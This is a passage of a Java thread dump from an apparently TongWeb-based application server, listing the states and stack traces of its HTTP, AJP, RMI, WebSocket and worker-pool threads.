java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-9060-exec-6" #139 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7df2729d + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-exec-1" #107 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e6adabb + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"persistence" #96 daemon [WAITING] on com.tongweb.monitor.persistence.TaskQueue@679487d4 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.tongweb.monitor.persistence.TimerThread.mainLoop(MonitorTimer.java:429) + at com.tongweb.monitor.persistence.TimerThread.run(MonitorTimer.java:408) + +" server-work-2" #58 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3c4ca311 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.tongejb.nio.server.TaskQueue.take(TaskQueue.java:82) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-8" #127 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@d3abcf0 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@50aa5666 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188) + +"ajp-bio-8009-exec-3" #109 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e6adabb + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"nio-accept-5100-1-1" #67 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.netty.channel.nio.NioEventLoop.select(NioEventLoop.java:622) + at com.tongweb.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:310) + at com.tongweb.netty.util.concurrent.SingleThreadEventExecutor$2.run(SingleThreadEventExecutor.java:116) + at com.tongweb.netty.util.concurrent.DefaultThreadFactory$DefaultRunnableDecorator.run(DefaultThreadFactory.java:137) + at java.lang.Thread.run(Thread.java:750) + +"WebSocketClient-AsyncIO-1" #88 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPoll.epollWait(Native Method) + at sun.nio.ch.EPollPort$EventHandlerTask.poll(EPollPort.java:194) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:268) + at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-7" #49 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@582de484 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-Acceptor-0" #132 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:869) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8443-exec-4" #151 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@794e225c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-ClientPoller-1" #131 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1228) + at java.lang.Thread.run(Thread.java:750) + +"WebSocketClient-AsyncIO-6" #93 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32ebbbd5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) + at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8443-exec-1" #148 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@794e225c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-9060-ClientPoller-1" #145 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1228) + at java.lang.Thread.run(Thread.java:750) + +"get-gc-info-timer" #21 daemon [TIMED_WAITING] on java.util.TaskQueue@591e80c5 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +" server-work-3" #59 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3c4ca311 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.tongejb.nio.server.TaskQueue.take(TaskQueue.java:82) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-exec-10" #116 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e6adabb + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-9060-exec-10" #143 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7df2729d + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8443-exec-7" #154 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@794e225c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8443-exec-2" #149 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@794e225c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Accept-0" #14 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8443-ClientPoller-0" #158 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1228) + at java.lang.Thread.run(Thread.java:750) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@6f3723c0 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"com.tongweb.tongejb.pool.scheduler.3" #56 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2cdea3d5 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-9060-exec-8" #141 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7df2729d + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-2" #44 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@582de484 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"process reaper" #11 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2e45d94e + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-9" #51 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@582de484 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"WebSocketClient-AsyncIO-8" #95 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32ebbbd5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) + at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-4" #46 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@582de484 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Stateful cache" #53 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3f07ceb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"WebSocketClient-AsyncIO-3" #90 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32ebbbd5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) + at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"Thread-24" #87 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32ebbbd5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8443-exec-9" #156 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@794e225c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8443-exec-5" #152 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@794e225c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at 